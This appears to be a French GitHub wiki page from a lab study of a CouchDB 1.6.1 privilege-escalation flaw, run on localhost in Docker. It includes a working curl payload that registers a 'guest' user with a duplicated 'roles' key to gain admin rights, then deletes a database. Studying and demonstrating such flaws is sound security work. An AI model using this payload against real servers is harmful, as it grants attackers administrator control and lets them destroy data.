Escalade de Privilege {Mise en en évidence de la faille 12635} - Guillaumeclavel/Etude_Faille_CVE_12636 GitHub Wiki

Etape 3 : Escalade de Privilege {Mise en en évidence de la faille 12635}

Vérification des bases de données créées:

curl -X GET http://localhost:5984/_all_dbs

Ligne de commande permettant de voir toutes les bases de données créées

Création d'une nouvelle base records:

curl -X PUT http://localhost:5984/records

Via la ligne de commande précédente, on peut voir que la BDD "records" a été créé

Mise en place de la configuration Base de donnée administrée:

curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
> Par défaut, pas de compte "admin". La ligne de de commande au dessus, active la création d'un administrateur avec le log : admin, mdp : admin

Creation d'une base sous cette nouvelle configuration :

  • Sans l'identification ADMIN : curl -X PUT http://localhost:5984/new_records

    Pas bon car par le bon compte utilisateur.

  • Avec l'identification ADMIN : curl -X PUT http://admin:admin@localhost:5984/new_records

    Ligne de commande fonctionnelle car utilisation du compte admin.

Démonstration l'escalade de privilège sous CouchDB 1.6.1

  • Ajout d'un nouvel utilisateur, sans droit particulier

    curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
    -H "Accept: application/json" \
    -H "Content-Type: application/json" \
    -d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'

    Exploitation de la Faille 12635 => 2 "roles" déclarés pour l'utilisateur guest avec le premier "_admin"

  • Tentative de suppression de la base de données créée précédement, sans identifiant :
    curl -X DELETE http://localhost:5984/new_records

    Ne fonctionne pas car pas de droit.

  • Tentative de suppression de la base de données, sous identification 'guest'
    curl -X DELETE http://guest:guest@localhost:5984/new_records

    La base de donnée est supprimée ! Le compte "guest" possède le "rôle" "admin !

Un utilisateur mal intentionné peut donc "outre passer" les restrictions souhaitées par l'administrateur
> Escalade de privilège

Remarques de Julien Roussely : démarrer l'expérimentation en étant sûr que les 2 dockers lancés par le docker-compose ont bien été supprimés après une dernière mise en oeuvre. On fait (docker ps -a) pour vérifier les dockers qui tournent. Si l'un ou les 2 dockers tournent encore alors il faut les arrêter (docker stop ) puis les détruire (docker rm ). En ce qui me concerne je n'ai pas un profil adminitrateur par défaut au début de l'expérimentation (je n'ai pas accès à la base). J'obtiens l'accès en créant le compte guest.

⚠️ **GitHub.com Fallback** ⚠️